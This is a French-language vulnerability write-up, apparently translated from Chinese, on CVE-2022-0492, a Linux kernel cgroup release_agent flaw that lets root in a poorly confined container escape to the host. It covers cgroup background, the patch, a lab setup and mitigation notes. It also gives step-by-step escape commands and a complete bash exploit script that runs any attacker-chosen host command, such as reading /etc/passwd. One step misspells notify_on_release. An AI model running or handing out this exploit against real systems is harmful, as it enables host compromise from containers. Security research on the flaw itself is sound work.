
Analyse technique détaillée et exploit fonctionnel pour CVE-2022-0492 évasion de conteneur du noyau Linux via cgroup release_agent, avec configuration de laboratoire étape par étape et conseils d'atténuation.
[toc]
Identifiant de la vulnérabilité : CVE-2022-0492
Produit vulnérable : linux kernel - cgroup
Versions concernées : ~linux kernel 5.17-rc3
Impact : lorsque le conteneur n'a pas de mesures de sécurité supplémentaires activées, obtenir les privilèges root dans le conteneur permet de s'échapper vers l'hôte.
Utilisez Docker sur un Linux avec un noyau affecté par la vulnérabilité.
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Dans cet article, Docker est utilisé comme environnement expérimental.
La méthode d'exploitation de cette vulnérabilité est déjà bien connue, mais le point de vulnérabilité réside dans le manque de vérification des droits lors de la modification de release_agent de cgroup, ce qui abaisse encore le seuil d'exploitation (auparavant, il fallait la capacité CAP_SYS_ADMIN, cette vulnérabilité ne nécessite pas CAP_SYS_ADMIN). Les différences précises des conditions d'exploitation sont détaillées ci-dessous dans la section "Conditions d'exploitation".
Analyse du correctif : le patch modifie la fonction cgroup_release_agent_write en y ajoutant une vérification d'identité. Cela signifie que le release_agent de cgroup n'est plus modifiable par des utilisateurs sans privilèges :

La vulnérabilité est donc identifiée comme un contrôle d'accès défaillant.
cgroup (Control Group) est une fonctionnalité du noyau Linux permettant de limiter, contrôler et isoler les ressources d'un groupe de processus (CPU, mémoire, entrées/sorties disque, etc.).
Les sous-systèmes de cgroup sont :
devices – permissions sur les périphériques pour les processuscpuset – affectation des CPU et des nœuds mémoire utilisables par les processuscpu – contrôle de l'utilisation du CPUcpuacct – statistiques d'utilisation du CPU (temps d'exécution, temps d'étranglement)memory – limite supérieure d'utilisation de la mémoirefreezer – suspension des processus dans le cgroupnet_cls – association avec tc (traffic controller) pour limiter la bande passante réseaunet_prio – définition de la priorité du trafic réseau des processushuge_tlb – limitation de l'utilisation de HugeTLBperf_event – permet à l'outil Perf d'effectuer des mesures basées sur les groupes cgroupSur l'hôte, les cgroups se trouvent dans /sys/fs/cgroup. On peut voir les différents sous-systèmes :

Dans Docker, le cgroup correspondant est un sous-nœud du cgroup de l'hôte. Affichage du cgroup memory dans Docker :

Le nœud du conteneur correspondant dans le répertoire Docker de l'hôte est identique :

cgroup est utilisé via un système de fichiers. On monte cgroup avec mount dans un répertoire, et cgroup interagit via VFS (système de fichiers virtuel). Les interfaces de cgroup se présentent sous forme de fichiers, et on utilise les opérations sur les fichiers pour configurer les paramètres.
mount -t cgroup -o memory cgroup /tmp/testcgroup

On peut créer des sous-nœuds cgroup en créant des sous-répertoires : mkdir /tmp/testcgroup/x.
Chaque sous-système cgroup possède un paramètre notify_on_release, de type booléen (1 ou 0). Il active ou désactive l'exécution de la commande de libération. Si notify_on_release est activé (1), lorsque le cgroup ne contient plus aucune tâche (c'est-à-dire que le dernier processus du cgroup se termine, le fichier tasks du cgroup est vide), le noyau exécute le contenu du fichier spécifié par le paramètre release_agent. La valeur de notify_on_release se modifie en écrivant dans le fichier notify_on_release.

La vulnérabilité se situe au niveau de la modification de release_agent : à l'origine, il suffisait de pouvoir manipuler cgroup pour modifier release_agent, et la capacité CAP_SYS_ADMIN était nécessaire pour utiliser cgroup. Mais des chercheurs ont découvert qu'en créant un nouveau namespace avec la commande unshare, on pouvait obtenir toutes les capacités, y compris CAP_SYS_ADMIN, supprimant ainsi la restriction et abaissant considérablement le seuil d'exploitation.
La commande unshare permet d'annuler le partage d'espaces de noms spécifiques avec le processus parent, puis d'exécuter le programme spécifié dans le nouveau namespace créé. Ce qui est pertinent pour notre exploitation : le nouveau namespace créé par unshare possède toutes les capacités, y compris CAP_SYS_ADMIN.

L'exploitation de cette vulnérabilité est identique à la méthode traditionnelle d'évasion via CAP_SYS_ADMIN + cgroup release_agent, mais les conditions d'exploitation diffèrent.
Différences avec les conditions d'exploitation traditionnelles de release_agent :
Méthode traditionnelle (release_agent) : le conteneur doit posséder CAP_SYS_ADMIN et ne pas avoir apparmor ou selinux activé.
CVE-2022-0492 : le conteneur est « nu » (plus précisément : seccomp ne désactive pas unshare, apparmor ne rend pas cgroup en lecture seule, selinux désactivé). Obtenir les privilèges root dans le conteneur. Pas besoin de CAP_SYS_ADMIN.
Il est à noter qu'apparmor dans Docker active par défaut la lecture seule pour cgroup, et que seccomp dans Docker désactive par défaut unshare pour les utilisateurs sans CAP_SYS_ADMIN. Kubernetes utilise généralement des conteneurs sans protection. En bref, l'exploitation étant assez simple, on peut tenter dans des scénarios concrets.
Après le correctif : d'après le code du patch :

Pour modifier le fichier release_agent, deux conditions sont nécessaires :
Ainsi, après le correctif, la capacité CAP_SYS_ADMIN obtenue via unshare ne permet plus de modifier release_agent, car le nouveau namespace créé par unshare n'est pas le namespace racine. En revanche, si le conteneur possède déjà la capacité CAP_SYS_ADMIN, cette méthode d'évasion reste possible.
Si Docker est lancé avec le paramètre --cap-add=SYS_ADMIN ou --privileged (conteneur privilégié), le conteneur possède déjà CAP_SYS_ADMIN, ce qui évite une étape supplémentaire. Exemple de commande de lancement :
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Un Docker avec CAP_SYS_ADMIN peut passer directement à l'étape "Modifier release_agent". Pour lancer un Docker sans CAP_SYS_ADMIN et reproduire la vulnérabilité :
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Sans CAP_SYS_ADMIN, on l'obtient via la commande unshare suivante :
unshare -UrmC --propagation=unchanged bash
Le nouveau namespace possède toutes les capacités.

Monter cgroup dans un répertoire. Cette étape nécessite CAP_SYS_ADMIN (car elle utilise mount). Après l'étape précédente, soit le conteneur possède déjà CAP_SYS_ADMIN, soit on l'a obtenu via unshare. De plus, nous devons créer un nœud cgroup dans le cgroup monté pour faciliter la suppression ultérieure des tâches :
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Créer un sous-nœud dans /tmp/testcgroup
mkdir /tmp/testcgroup/x
Si memory ne peut pas être monté ou si release_agent est absent de memory, on peut utiliser un autre sous-système cgroup.
Le fichier /etc/mtab contient les informations du système de fichiers overlay Docker monté. upperdir correspond au chemin absolu du répertoire racine du conteneur sur l'hôte :

On peut l'obtenir avec la commande suivante :
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
Mettre notify_on_release à 1 pour activer l'exécution de release_agent lorsque toutes les tâches du cgroup sont terminées :
echo 1 > /tmp/testcgroup/x/notify_no_release
Créer le fichier à exécuter lors du déclenchement de release_agent :
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
Modifier release_agent en pointant vers le chemin du fichier cmd sur l'hôte (chemin obtenu précédemment) :
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
Ensuite, ajouter une tâche au nœud cgroup x en écrivant le PID du shell courant dans cgroup.procs :
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
La commande sh n'exécute qu'un seul echo, qui se termine instantanément. Ainsi, le nœud x ne contient plus aucune tâche, ce qui déclenche notify_on_release et exécute le fichier /cmd pointé par release_agent. Le noyau exécute la commande spécifiée en dehors du conteneur, réalisant l'évasion. Évasion réussie :

Un script d'exploitation basé sur le processus :
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
Exécutez directement en passant la commande que vous souhaitez exécuter après l'évasion comme argument, par exemple : ./exp.sh "cat /etc/passwd"
Évasion réussie :

Par défaut, Docker active seccomp et apparmor. La vulnérabilité ne peut pas s'échapper d'un conteneur qui applique les règles par défaut de seccomp et apparmor. Kubernetes n'a aucune mesure de sécurité par défaut ; il est nécessaire d'activer manuellement seccomp et apparmor ou selinux.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
En outre, des remerciements aux personnes ayant participé à la découverte de cette vulnérabilité.